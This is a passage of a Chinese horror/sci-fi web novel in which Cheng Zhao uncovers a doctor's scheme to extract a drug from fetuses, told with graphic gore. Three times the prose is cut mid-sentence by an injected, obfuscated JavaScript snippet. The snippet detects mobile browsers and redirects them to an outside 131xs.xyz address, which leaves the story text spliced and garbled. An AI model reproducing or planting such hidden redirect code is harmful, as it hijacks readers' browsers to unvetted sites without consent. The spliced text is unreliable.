“药拿来咯。”一个医生推门进来,手上端着托盘,“姚医生,董主任对你是真好,次次产检都陪着来。” “他哪是对我好,他是怕宝宝出了什么事。”女人似嗔似怪地瞪了程昭一眼。 程昭轻叹一口气,揽住了女人的腰,手抚在她隆起的肚皮上,“都怪我们翊儿不安分,害得你要吃这么多苦头。” 女人看着医生把安瓿瓶里的淡粉色液体都抽进注射器里,托盘里还放着一根长约20公分的针头,她害怕地往程昭怀里缩了缩。 程昭安抚地摸了摸她的头:“不怕不怕,我们薇薇很勇敢的,这是最后一针了,以后都不用打了。” 姚薇点点头,撑着后腰,姿势笨拙地躺到了操作室中间的治疗床上,程昭贴心地托着她的后背,让她慢慢靠到床面上,然后握住了她的手,嘴里还在哄着:“等翊儿满月以后,我们就全家出去旅游,去看你一直想看的百里杜鹃……” 医生看他们恩爱的样子,自嘲般地摇了摇头,他还不知道什么时候能求婚成功,过上这样老婆孩子热炕头的幸福生活呢。 只是晃神了那么一刻,从窗外飘进来一颗红色的孢子,落入了针筒的管口。 红色的孢子在粉色的液体中并不显眼,医生没有注意到这个小意外,把长针头插在了针筒上。 “耦合剂有点凉,放松哦~”冰冷的B超探头在裸露的肚皮上滑动,屏幕上显出深浅不一的回声影,“要开始打针了,忍一下不要动哦。” 姚薇抓紧了程昭的手,抓得她手心都痛。程昭低下头,贴着她的耳朵低语:“没事的,忍一忍,很快就过去了……” 长长的金属细管尖锐的一头扎破皮肤,深入皮下,穿破子宫,在B超的引导下,扎进了胞宫中孩子的身体。 “啊!”姚薇痛苦地大叫起来,程昭眼疾手快,把胳膊伸过去给她咬。 等药物注射完,程昭胳膊上留下了两排渗血的咬痕。 但她并不在意,而是赶紧把妻子抱在怀里,一下一下捋着后背:“好了好了,不痛了不痛了……” 操作室的其他人都表现得很平常,但只有程昭看清了,那管针筒里,红色的孢子生长出了分支,黏附在管壁上,又受到推力压入了针头,送进了胞宫的胎儿身体里。 红色黏菌的真实来源是这里吗?一个无心的意外? 打针的药又是什么?真的是保胎药吗? 程昭已经明白了自己的处境,她在董飞的记忆碎片里。 拆卸——是连人脑中的记忆都能拆卸出来观赏吗? 程昭看看怀里的孕妇,又看看台子上已经被抽干净的安瓿瓶。 粉色的保胎药、孕妇开腹手术、胚胎提取……她大概知道,这一切罪恶的真相是什么了。 她现在觉得,自己那一记扳手,还是敲轻了。 1号房间里的机器已经被污染了,那么由机器提取出来的深素有没有被污染呢? 手术室大门那一窗红眼睛又在她脑海中浮现,她那时没敢细看,现在想起来,并不是整个眼睛完全变成了红色,而是眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628352|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳里生出红线,分支呈网状遍布了整个巩膜。 门外的“人”都是注射过深素的人,他们已经被红色黏菌寄生了。 如果一切的起源真是如此,那么除了1号手术间,这个手术室里还有一个地方,也有菌源。 肖音音做手术的那个房间,就离生物材料间不远。 遭了,蒋裕他们有危险! —————————— 生物材料间最后一排的架子上,红色菌丝从胚胎左眼里伸出来,在保存液里飘动,渐渐漂浮到了玻璃罐的顶上,往玻璃盖和罐体的粘合缝里钻,菌丝柔软却坚韧,一点一点顶开了盖子。像一条细长的虫子往外蠕动,它没有生出分支,目的明确地向门外移动。 此刻的手术间,蒋裕正在撺掇肖音音。 “唱一个呗,随便唱啥都行,我还没去现场听过演唱会呢。” 肖音音红着脸:“我,我声音不好听……” “很好听啊。”顾镜如也在一旁帮腔,“你这嗓子,不火没天理了。” 她跟肖音音年纪相仿,平时也爱追星,在她听来,这嗓子可比那些当红爱豆强了不是一星半点。肖音音外形也好,离一夜爆火就差一个选秀节目了,而且绝对是团里大vocal级别的! 红色菌丝从生物材料间里探出头来,展开四五根分支,往各个房间的方向伸去。 “但是我刚做完手术,我还不太适应……” “哎呀,等你适应了,咱们都不一定还能再见了。”蒋裕说道。 肖音音也有这种预感,或许等她出了这个手术室,就再也不会见到这几个帮助她的好心人了。 她只好妥协:“那我就唱一个,我自己很喜欢的歌吧。不是我自己发行的歌,那些歌都是配机械声带的,跟我自己这个声音不搭。这首歌是我换声带之前就经常唱的。” “你别勉强啊,刚做完手术悠着点,不用为了炫技飚青藏高原的啊!”蒋裕就是这种人,明明刚才撺掇得积极,但真要唱了,又怕人家嗓子受不住。 肖音音眼睛弯弯的:“虽然不知道青藏高原是首什么样的歌,不过听名字调就挺高的,没练嗓子的话,我现在估计也唱不上去。我就只唱一首简单的歌,真的很简单哦,你别抱什么太大的希望。”说着说着,她又不好意思起来。 “没事没事,你唱儿歌都行。” “其实也差不多啦。”肖音音清了清嗓子。 走廊里的菌丝收敛了那些没有收获的分支,只留下一根继续向前,从手术间的门缝里钻了进去。 手术间的三人正围坐在手术台上,谁也没发现脚下已经慢慢编织成了一张稀疏的红色地毯。 肖音音在蒋裕和顾镜如鼓励的眼神中张开了嘴。 “我的宝贝~宝贝~给你一点甜甜,让你今夜都好眠……” 她唱歌时沉浸地闭上了眼睛,微点着头打节拍。 其余两人也跟着她的律动轻打着拍子。 地上的红色图案仿佛定格般,没有再进一步。 12. 手术室请安静(十) 程昭赶到手术室门口时,命差点被吓掉半条。 手术台上三个人倒是在开沉浸式演唱会,地面上的红色菌丝正如同一窝新生的蠕虫般扭动,已经包绕住了手术台的升降柱。 她想也没想,就把手中的扳手甩了出去。 扳手落在菌丝团中,瞬间就被吞没,消失无踪。 黑暗再次降临。 程昭感觉自己像是跳入了游泳池,这回没有亮光,她只能凭借着本能向上游去。 但四面八方都是水,仿佛置身无边的海洋深处。 好在她并没有窒息的感觉,甚至没有屏气,她不知道自己是不是变成了一尾鱼,好像可以在水中自由呼吸。 有波浪打在她身上,力道不大,就像按摩一样舒服。 程昭甚至有点享受这种感觉,就像在妈妈的怀抱里一样安逸。 可这种平静安详的氛围没有维持多久,头顶上的“水面”突然被劈开,她见到了一条光的裂隙。 那条裂隙越来越大,周围也逐渐被照亮,一双大手从裂缝中伸了进来,就像一个巨人入侵了这方安稳的小世界。 她被这双手抱起来了。 “出来了吗?男孩女孩?” “……男孩。” 程昭脱离了温柔的水,暴露在干冷的空气中,跟穿着手术衣的人对视。 虽然戴着口罩帽子,她认不出来,但她能确定这个声音,是董飞的。 “给我看看。” 程昭想转过头去看看女声的来源,但她的身体好像很难控制,努力了几下都没成功,只能尽量用眼睛余光去瞟。 是手术台上那个刚被剖开肚子的女人在说话,程昭只能看到她鲜血淋漓的宫腔,看不到她的脸,被器械台挡住了。 那个女人,虽然清醒着,却也无法支撑起身体来看看这个刚从自己子宫里拿出来的东西。 “等一会儿。” “怎么了,孩子有什么问题吗?”女人的语气听上去很紧张。 “没什么,要先采血。” 透过铺巾上血管钳的反光,程昭看到了自己的样子,一个没有四肢的肉团子,只有一个大大的脑袋,两只眼睛像是没发育完全的样子,没有眼睑和眼白,只有覆盖了一层肉膜的瞳仁,像是肉团上戳了两个点。 真难看啊,程昭移开了目光。 “机器准备好了吗?”董飞问身边的人。 “好了,董主任。” 程昭被人抱着,慢慢靠近一个黑漆漆的洞口。 她本能地害怕这个东西,“呜哇”一声哭了起来。 为什么要把她拿出来,她喜欢刚才那个温暖安全的地方,她才不要出来呢! 她越哭越凶,整个手术室都充斥着她尖利的哭声。 “宝宝为什么哭得这么厉害?”女人焦急地问道,“让我看看他。” “新生儿都会哭,不哭才有问题。”董飞的声音全然没有产检时的温柔,带着一股理性的冷酷。 程昭被放进了机器的口子里,身下是冷硬的金属板,她从有生命以来,还从未接触过如此冰冷的东西,刺激得她在板上蠕动起身体,可是她没有四肢,脊柱发育也有问题,她无法翻身,无法逃离,只能像一个虫子般蜷缩起来,想把自己缩得小一点,再小一点,这样就没有那么冷了…… 她好想回去啊,想回到那个有海浪轻拍尾椎的地方,为什么不让她回去? 她到底还要在这个难受的地方待多久? “董主任,姿势拟合不好,机器无法识别。” 刚才那双手又伸了进来,强行把她掰开,后背紧压在坚硬的金属板上,她再次哇哇大哭。 “开定位器。” 身体上方垂下来几个金属半环,把她的身体固定在了板上,压得她喘不过气,小小的身体剧烈挣扎,娇嫩的皮肤被箍出了血痕。 “开始提取。” 机器嗡嗡作响,震动的频率从身下传来,但更可怕的东西在她头的上方。 一根尖头管子从上面伸下来,一束刺目的绿光照射进她的眼睛,她痛得尖叫起来,整个身体都憋得青紫。 在绿光中,有一条不起眼的殷红色菌丝从眼睛里探出了头。 管子前端已经根据绿光定好了位,机器轰隆隆地运作着,管子慢慢下移,对准绿色的点扎了下去。 却并没有扎进眼睛里,而是被几条细密的菌丝缠绕住了,无法更进一步。 “董老师,机器好像卡住了。” “重启试试。” “没法重启,完全卡死了!” “你干什么吃的!这是第一次正式试验,之前试用的几次不是都很顺利吗?” “对不起,我,我也不知道怎么会这样……明明步骤都没问题啊……” “叫工程师来,他们送来的机器,必须随时待命负责!” “好的,我立刻联系!” “怎么了?”那个女人的声音又响起,“采血还没好吗?为什么宝宝还在哭?他哭得好可怜,肯定是想妈妈了,让我看看他,我……” “闭嘴!”董飞暴怒地喝住了她。 女人一愣,随即声音带上了哭腔:“到底怎么了,是不是宝宝不好?我要看看孩子,我要看他!” 程昭小小的身体,用尽全部的力气嚎啕大哭,声音凄厉悲惨,手术室里有人忍不住捂上了耳朵,但那几乎能掀翻头盖骨的尖锐啸叫声依然穿破鼓膜,刺进脑海中。有些人承受不了,痛苦地抱住了头,鼻血一滴滴流下,濡湿了手术衣。 “董主任,工程师说两小时后来……” “还要两个小时?!”董飞双目微凸,手背上青筋暴起,抓着面前医生的领口把他提起来,“等他过来,我这台手术已经失败了!下一台就是李俊的手术,如果他在我之前完成首例,我就要被他踩在脚底下了!我不允许,我决不允许……” “董、董主任……可是机器,机器它……” “试!再给我试!哪怕试到坏了也要试!” “可是,这个机器那么贵,只此一台,要是坏了……” “坏了我赔!” “好,我、我再试试……” “你不能起来!”护士惊叫道。 女人不顾肚子还打开着,硬是撑着坐了起来,面无血色,嘴唇惨白,“董飞,宝宝呢?我们的宝宝呢?” “宝宝?”失败的压力令他再也无法维持伪装,表情厌弃地看着手术台上的女人,“哪有什么宝宝,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628353|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个垃圾试验品罢了。” “什么?”女人呆呆的,完全无法理解他的话。 “蠢货。”他冷冷地吐出两个字,不耐烦地撇开脸,“试得怎么样了?” 那个年轻医生碍于他的压迫,忍着恶心把手伸进机器口子,手动排除卡顿。 他好像摸到了一些黏黏糊糊的东西,整张脸都难受得皱在一起。 “宝宝,我的宝宝!” 回到现实的前一秒,程昭看见姚薇的脸出现在那个狭小的口子外,她满脸涕泪,瘦削的手指艰难地伸向她。 “妈妈救你……” “呼——”程昭头痛欲裂,强忍着呕吐的感觉,睁开了眼睛。 视野里是数圈灯泡的无影灯,但很快,几张焦急的脸遮住了灯光。 蒋裕:“你还好吗?” 程昭点点头,动了动手指,撑着床沿要起来,蒋裕赶紧来扶她,嘴里碎碎念着,“你真是吓死我了,刚才看到下面都是黏菌的时候,我以为今天就要死在域了,你那么一扔,它们都退回去了,没想到黏菌居然怕扳手,是不是有智慧啊,怪瘆人的……” 程昭没有在意他的话,她此刻的注意力都在另一个女生身上。 她问顾镜如:“董飞要给你做什么手术?” 顾镜如一愣,支吾道:“就是……小手术。” 程昭此刻的表情严肃得可怕,顾镜如不敢跟她对视,心虚地低下了头。 但程昭并没有就此揭过去,而是下了床,按着她头,逼她跟自己对视。 “说实话,是什么手术。” “就,就……”顾镜如结巴了半天,也没说出来。 “是堕胎手术,对吗?” “啊!”肖音音惊叫一声,随机连忙捂住了自己的嘴。 顾镜如连连摇头,一步步往后退,眼里渐渐积蓄起泪水。 程昭继续说:“你不是因为没钱,所以找他做手术,你是不敢让人知道,所以不去医院的,对吧?” 顾镜如咬着下唇,面如死灰。 “他怎么跟你说的?是不是说他会偷偷给你做,在一家废弃的医院里,不会有任何人知道,天衣无缝……” 哭得楚楚可怜的女生语带颤音:“我没有办法,我才刚上大学,我不能让人知道……爸妈会打死我的……” “他是不是还跟你说了,做手术之前要先打针?” 顾镜如已经泣不成声,身体无力地滑落,蹲在墙角崩溃地点头。 程昭叹了口气,走过去抱住了她:“别怕,还来得及。” 蒋裕:“程昭,你是不是知道了什么?” “我要去毁了那台机器。”她扶着顾镜如站起来,眼神坚定如铁。 “1号手术间里的?” “对,它是所有一切的源头。如果我没猜错的话,毁了它,我们就能出去了。” “好,那我们赶紧吧。”蒋裕快速看了一眼手环,“还有不到六个小时了。” 程昭拾起扳手,插在后腰,“走吧。” 走廊里空空如也。 程昭呻吟一声,捂住了脸。 怎么就犯了大部分影视剧里都会犯的错误呢? 忘记给坏人补刀,董飞跑了。 13. 手术室请安静(十一) 程昭是最后一个进1号手术间的。 她没找到董飞,但她有种感觉,那家伙绝对不是凭空消失了,一定是蛰伏在某个地方伺机而动。 非法做手术不是他的目的,他真正的目标只可能是那台怪异的机器,现在是跟他拼速度的时候了。 “你打算怎么破坏?”蒋裕贴近程昭耳朵,用气音问道。 跟董飞的那场手术,让他们都忘了正常音量说话会吸引黏菌,直到经历了刚才的惊魂时刻,大家才警觉起来,非必要不说话,要说话也尽量压低音量。 穿过地面上的隔音包,程昭站在巨大的机器面前。这个机器有一人多高,接近两米,宽度约莫成年人臂展那么长,正面是开口,侧面有一个显示屏,触摸后会亮起,界面倒是很简洁,只有三个按键,一个开始的图标,一个结束的图标,还有一个设置的图标。 程昭点进设置里,显示需要密码才能进入。她输入123456,果然跳出了黄色感叹号的警告标志。 她转而去找电源,想先把机器的电断了,但是很奇怪,在机器周围没有看到电线和插头,难道电源在机器底下? 程昭跟蒋裕合力去推机器,努力了十分钟,累得满头大汗也没能让机器移动分毫。 她掏出扳手,示意蒋裕退后。 拆卸天赋用来破坏机器,专业很对口吧。 银色的扳手头部敲在坚硬的机身上,想象中的解体没有出现,一股奇异的震动传递了回来,震得她虎口发麻。 【警告!对象等级高,初级天赋无效。】 初级这么拉?她看对付董飞和红色黏菌都很容易的样子,还以为这玩意儿很厉害呢! 还是说,这个机器本身就不是一般的医疗器械。 在胎儿视角经历的一切,让程昭对这个东西的来源有了新的想法。 本来她想当然地以为是医学研究先发现了深素这种东西,为了方便提取才研制了这样一台机器。但助手跟董飞的话,让她想到了另一种可能。 会不会是先有人送来了这个东西,然后他们才在不断试验,哪种供体产出的成品效果更好,最后才锁定了人类胚胎做供体呢? 蒋裕信誓旦旦地说自己在原泡世界从未听过深素这种东西,至于机械器官,虽然也有几个顶尖医学团队在研究,但至今仍未听过有成功的手术案例。 那么董飞怎么会做这个手术呢?他明明就是从原泡世界误入重叠域的啊。 或许,不是“误入”呢? 程昭才刚来没几天,对于泡世界运行规则的了解还只是冰山一角,问蒋裕,他也说不出个所以然来,说那都是空间科学家研究的内容,他们作为急救医生,只负责救人,并没有探究过,重叠域到底是怎么形成的。 她屏住呼吸,把手伸进了那个漆黑的口子,才进去没几厘米,就受到了阻碍,原来里面还有一块挡板,不是直接连接到机器内部的。 蒋裕戳了戳她的肩,让她去看显示屏上的弹框——“未检测到供体”。 看来只有检测到供体,开口才会自动打开。 她刚才在里面摸了一遍,挡板的四边都严丝合缝,无法从外面抠开。 这个机器外壳坚硬,电源也是隐藏的,要从外面破坏几乎没可能,只有进去机器内部,才可能有点机会。 能去哪里找供体呢? 程昭的目光落到顾镜如的肚子上,但很快又移开了。 她不是妇产科的,没那个本事,而且这种操作本身就违背了医疗伦理,她还是有职业道德的。 生物材料间的那个胎儿形态是完整的,是不是说明,他最后确实成功逃过了提取? 那么,二次利用一下,也不是不可以吧? 程昭交代好蒋裕,只身前往了生物材料间。 在门口的时候,她又死命拔了拔吸在磁性门锁上的羊角锤,稳得一批,纹丝不动。 她开始担忧起来,如果进一个域就要报废一个工具的话,她那箱子三瓜两枣够用几回啊。 生物材料间里静悄悄的,程昭蹑手蹑脚走进去,分贝仪跳动起来,好在都在个位数浮动,没有引起什么特别的动静。 她把扳手攥在手里,生怕董飞从哪个犄角旮旯里冒出来偷袭。 最后一排架子上,畸形的胎儿安稳地漂浮在澄黄液体里,但程昭发现,玻璃罐本该用胶粘合住的地方有了缝隙。 她没猜错,刚才手术间的红色黏菌就是来源于此。 程昭小心翼翼地捧起玻璃罐,这可比肖音音那片小小的声带要沉得多,她几乎是咬着后槽牙,才能把它整个抱在怀里。 如果此刻黏菌受到刺激疯长起来,她将避无可避。 她深吸一口气,抱着玻璃罐,缓慢地迈出一步。 脚步并没有什么声音,但心脏却在胸腔里剧烈跳动,心跳声大得她自己都能听清节拍。 程昭在走廊里走得很慢,几乎走两步就要停下来看看四周,再看看怀里的东西有没有什么变化。 不过几十米的手术室长廊被她走出了电影节红毯的架势,各个角度的机位都没放过。 怀中的玻璃罐在渐渐下沉,程昭平时就不爱锻炼,抱着这么一缸水战战兢兢走了一路,两条细胳膊酸胀打颤,要不是太过紧张,肾上腺素刺激着肌肉,她早就无力脱手了。 一进手术室,蒋裕就立刻帮她托住了玻璃罐,程昭松了口气,甩了甩手,连手指都是麻的。 “你打算放进去?” 程昭点点头,忍着针扎般的刺痛感,戴上橡胶手套,掀开了玻璃罐的上盖。 手伸进去的时候发现里面的液体并不像水那样稀薄,而是有种粘滞感,会有一股无形的力拽着手往下沉。 但好在并不是真的有什么东西在里面,只要用点力还是能控制的,她双手探到下面,从胎儿的底部把它抱起来,像妈妈抱着自己的孩子。 这种感觉很奇妙,她甚至不自觉地颠了颠,就像在哄孩子入睡那样。 可惜,他不是一个正常孩子。 所以,他没有入睡,反而睁开了眼睛。 程昭本以为他是没有眼睑的,但对视的那一刻,看到眼睛两个点的位置翻起了一层肉膜,两个白珠子露了出来,中央一点红色,像是红色的瞳仁。 红点本来只有针尖大小,慢慢扩大,却不是实心的,而是放射性撑开成网状,外围一圈像是细小的虫子在往外游,不多时就填满了整个眼白。 在这种情况下,或许一般人会立刻把这个畸形儿扔出去,但程昭没有这么做。 她轻轻唱起了摇篮曲:“睡吧,睡吧,我亲爱的宝贝……” 程昭努力跟记忆中的歌声相靠拢,但还是有些找不着调。 红网向外扩散的趋势缓慢了一些。 “睡吧,睡吧,我亲爱的宝贝……”一个甜美柔和的声音从身后传来,程昭一看,是肖音音轻和着她的歌声唱着。 红线就如同打鱼收网般收束在一起,眼白又变得清晰了。 程昭闭上了嘴。 “妈妈的双手,轻轻摇着你……”轻柔的歌声如同摇篮般安抚着眼里蠕动的红线。 眼白中央的红点隐入了眼睛中,上方的肉膜往下一盖,眼睛处又只剩两个微微凹陷的点。 蒋裕:“这个菌怎么还看唱功的啊。” 程昭:“我唱歌难听自己知道,没必要说出来,谢谢。” 蒋裕:“哦哦,我以为你不知道呢。” 程昭:“虽然听起来很真诚,但是你的嘴角出卖你了啊混蛋。” 蒋裕不再贫了,走到机器侧面去操作,程昭小心托着那个肉团,放进了机器的开口里。 蒋裕给她比了个"OK"的姿势,程昭能感觉到里面有一些机械齿轮转动的声音,挡板打开了,她把胎儿推了进去。 触控屏前的蒋裕把手指点在“开始”键上。 “等一下。”程昭突然叫住了他。 “怎么了?” 程昭皱眉:“虽然我本来的设想就是把供体放进去,诱使机器打开,在启动过程中把它破坏掉。但总有一种感觉,如果按下去了,我们跟那些提取深细胞来获取利益的人,又有什么区别呢?” 蒋裕并不认同:“我们就是要毁了机器啊,出发点跟他们是相反的。” 看着那个幽深的洞口,程昭想起来自己躺在里面时那种恐惧绝望,像有一只手攥住了心脏,一阵阵发酸的疼。 “或许,还有别的办法……”她把手伸了进去。 蒋裕急了:“临门一脚,早点结束早点回去,我是一刻都不想在这鬼地方待了啊!” 可是程昭的手在里面,他也不敢按下去,怕伤害到程昭。 屏幕上开始的按键被点亮,机器轰隆隆地响了起来。 “程昭!”蒋裕呆愣着瞪大眼睛,他没有按啊。 “呵呵呵呵。”一阵令人毛骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628354|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悚然的笑声贴着他后背传来。 程昭已经摸到了胎儿软软小小的身体,她没有因为听到机器声就放手,而是选择拖着胎儿往外拉。 机器内部有金属条压住她的胳膊,她已经来不及抽离了。 董飞如鬼魅般从手术室墙壁里浮现出来,不知道他是怎么做到的,宛如变色龙般跟墙面的隔音棉融为一体。 原来他一直都在1号手术间里,看着他们的一举一动,享受着他们为自己做嫁衣。 蒋裕转身面对他,把另外两个女生都护在自己身后。 “董飞,你不要再执迷不悟,如果你在这里对我们出手,一七医院不会放过你的。” 对面的人笑得更厉害了,嘴角几乎咧到了耳朵下,“等我伟大的制剂诞生,我将成为整个医学界最有地位的人!一个不三不四的医院,你以为我会放在眼里?” “深素根本就是一场骗局,你骗骗自己得了,骗不了所有人的!” “啧啧,你这么说,只是因为你没有福气享受它罢了。只要注射过一次,你就能体会到极乐的滋味……”他一边说,一边舔着自己的嘴唇,眼神迷离,仿佛在回味。 “你也注射过?” “当然,这么好的东西,大自然的馈赠,医学的巅峰,我怎么会自己没有试验过。” 程昭能感觉到机器深处传来的吸力,她在跟这股力量对抗,争抢着一个小怪胎,她感觉自己的手指在被拉扯,一个个指节都快要分离,疼得她叫起来。 蒋裕要去关机器,却被董飞一脚踢到了地上,他挣扎着起来,又被一脚踩在了胸口上,压得他不能呼吸。 “小伙子,你还年轻,我跟你一样年轻的时候,也有一腔热血,觉得凭自己的努力,就能改变这个世界…… 但是后来我发现,不是的,这个世界不是付出就有回报的,选择远比努力重要……” 蒋裕抱着他的腿,一口咬在他的小腿上,董飞吃痛松开了脚,蒋裕一个翻身跟他拉开距离。 还没站定,董飞就又一个闪身出现在他身后,挥拳把他打倒在地,“年轻人,你太慢了。” 蒋裕吐出一口鲜血,背部疼痛欲裂,试了几次都没能爬起来,他觉得很不对劲,虽然自己不算什么运动健将,但也是习惯健身的,没道理才20多岁的人,敏捷度比不过董飞这个中年人。 董飞似乎能读懂他心里所想,又张狂地笑起来:“现在你知道了吧,这就是深素的效果。所以,没有人可以拒绝它的诱惑,我将用它颠覆世界!” “你放屁!”程昭骂道,“你就是个loser!你连干坏事都干不过李俊!” “他?”董飞的笑容僵在脸上,表情一下子变得扭曲,“他跟我比?他就是个小偷!都怪那个女人,她毁了我的计划!如果不是她,我就是第一例,第一例成功的!都怪她,让李俊这个卑鄙小人抢了先,我不会放过她的,当然,李俊的账我也要算……” “你把她怎么样了?”程昭心下一沉,听这个畜生的意思,姚薇似乎也遭遇了不测。 “她?”董飞两只眼睛都激动得凸了出来,伴随着震颤,像一个甲亢病人,“我当然是把她大卸八块扔进了机器里!可惜她是个老女人了,身上已经提取不到新生儿才有的深细胞了。还有那个怪胎,该死的,怎么会提取失败,我就知道那个小白脸是个肌肉发达头脑简单的蠢货,但我真没想到他的基因能差成这样!” “小白脸?” “对!我的学生,一个大蠢货!”董飞把手指插进头发里,用力地拔着自己的发根,连头皮都拉了起来,但他完全感觉不到疼痛似的,“如果不是我自己不行,我怎么可能让他来,这是我倾注了全部心血的项目,就这么毁于一旦了!他居然还举报了我,害得医院被查封,我像只地沟里的老鼠一样东躲西藏!” “所以,你自己给自己戴绿帽子?” 董飞的脸涨成了猪肝色:“什么,什么绿帽子,我是为了医学!是崇高的牺牲!” 机器的轰鸣声中夹杂了一些呲啦呲啦的电流声,处于癫狂中的董飞自然是听不到的,但是还被卡在机器中的程昭听得很清楚。 程昭突然笑了:“能把ED说得这么好听,我也是第一次见了。” “你找死!”他嘶吼着,手在屏幕上拼了命地狂点。 “啪。”屏幕突然黑了,倒映出董飞那张狰狞的脸。 程昭:“不好意思,你可能要死了。” 14. 手术室请安静(十二) “什——啊啊啊!”董飞还没反应过来,突然屏幕中央传来浓烈的焦糊味,一颗钉子弹出来,射进了他的右眼,顿时血流如注,把半边脸都染红了。 他捂着眼睛,跌跌撞撞地跑到手术室柜子前去找纱布止血。 身后的机器内部传来巨大的爆裂声,程昭被冲击波震出去老远,后背砸在墙面的隔音棉上,倒是有些缓冲,不至于撞出个脊柱骨折来。她手臂上两条红痕正在渗血,手指被拉扯到变形,好在骨头没断,虽然很痛,但勉强还能活动。 机身表面炸出了好几个洞,金属碎片乱飞,肖音音和顾镜如躲在手术台下面瑟瑟发抖,蒋裕还没能站起来,有两个碎片扎在他背上,好在不深,他自己就能拔了。 程昭看见洞口处隐隐有红色在冒头。 董飞一只眼睛流成了血窟窿,全靠另一只眼睛在看,他刚找到棉垫按在右眼上,还没来得及绑上绷带,动作就顿住了。 他低头一看,红色细长菌丝缠绕在躯干上,菌丝顶端张开了带有密密麻麻小尖牙的口器,一下刺进了他的左胸。 “啊!”他赶紧伸手去拉那些黏糊的菌丝,但菌丝的生长速度极快,从接触到他手指的那一刻就开始疯长,短短几秒就把他的手完全包裹,又很快从手上退下来,只留下一只白骨森森的手。更多的菌丝还在往他心脏处的洞口里钻,远远看去,就像身披一件红线交织而成的袈裟,胸口处镶着一颗鸽子蛋大小的红宝石,只是这颗宝石会自己蠕动增大。 从机器内部生出的菌丝开始往回收缩,把他拉回了机器,其中最粗的主干是从开口中伸出的,几乎有大动脉那么粗,还在一起一伏,如同脉搏跳动的节奏。 直到这一刻,程昭才明白,黏菌孢子跟胚胎并不是单纯的寄生关系,它们相互共生,黏菌已经跟血管融合在了一起,既有黏菌的生长性,也有血管的搏动性,换句话说,或许这些黏菌真的已经拥有了人的意识。 董飞被拉扯到机器开口处,他身型高大,这个口子对他来说太小了,只能堵在外面。 他整个人都被血红色覆盖,自身的血液和红色黏菌混在一起,看不清表情,但四肢几乎都不动了,不知道是休克还是已经死了。 黏菌们还在努力把他往机器内部拽,他整个人像张纸一样被折叠了起来,发出一节节脊柱碎裂的声音,整个身体都像被敲烂了一样瘫软,最后如同一张红色的肉皮,被完全吸进了机器里。 机器发出咔咔声,像一台大型的搅拌机。 程昭扶着墙面,走到蒋裕身边,把他拉起来。 蒋裕在120出车这么多趟,还是第一次看见如此血腥的场景,此刻仍是惊魂未定:“你做了什么?” 程昭支起他的胳膊,把他扛在肩上:“扔了个电容器进去,电容量不大,但是被电压击穿后的爆炸力倒还挺强的。” 蒋裕一脸的不可思议:“哪里来的?” “额,我说积分换的你信吗?” 本来她还指望着攒够积分去修工具箱的,但是在手伸进去前她又点了一次手环界面,发现工具箱那里多了一个积分兑换页面,唯一能兑换的就是这个电容量很小的电容器,只要50积分,这还全靠她砸了黏菌以后多了20积分才凑满的,这一下,又得从头攒修箱子的积分了。 “赶紧走吧!”程昭余光瞟到巨大的机器在震动,不时有零件掉到地上,看上去快要解体了。 虽然不知道完全解体后会怎么样,但程昭有种预感,这里要发生大事,必须马上离开。 另一边,肖音音和顾镜如也搀扶着对方,跟在程昭他们身后。 出了1号手术间,发现走廊也跟地震似的,头顶时不时有吊顶板砸落下来。 他们憋着一口气,跑到了门口。 “不好,外面都是人!”肖音音急道,窗外是密密麻麻的人,说是人,其实已经没什么人样了,脸皮布满褶皱,眼睛都凸出眶外,嘴巴拉得老长,比程昭上次见到的样子更加可怕了。 程昭当机立断:“你到对面去,我喊一、二、三,一起开门!” 她回头看1号手术间,门口果然有红色往前蔓延,她计算着时间,在红色菌□□涌而来的前5秒,按下了大门墙面上的开关。 “一!” “二!” “三!” “开!” 程昭跟肖音音一人一边,拉开了手术室的大门。 “哗——”门外疯癫的人潮鱼贯而入,后面的人甚至把前人推倒,踩踏在他们的身体上,不管不顾地往前冲。 嘴里还在喊叫着重复的话语,程昭现在听清了。 “给我深素,给我深素!” “给我深素,给我深素!” 蜂拥的人群刚好跟疯长的菌丝相遇,就如同一波浪潮,拍进了另一场大浪中,扬起高耸的浪头,嘶吼和嚎叫构成了惊涛骇浪的潮声。 程昭他们躲在完全敞开的大门后,看着大片的血浪翻涌,刺耳的高频声音直往耳朵里钻,即使捂住耳朵也无济于事。 顾镜如呕吐了出来,其余几人的脸色也很难看。 程昭推了一把蒋裕:“能走了吧,你先带她们出去。” “那你呢?” “我还有东西要拿,很快。” 蒋裕看着她闪身进了办公室,想跟上去,但看看身边面无血色的顾镜如,还是转身向门外。 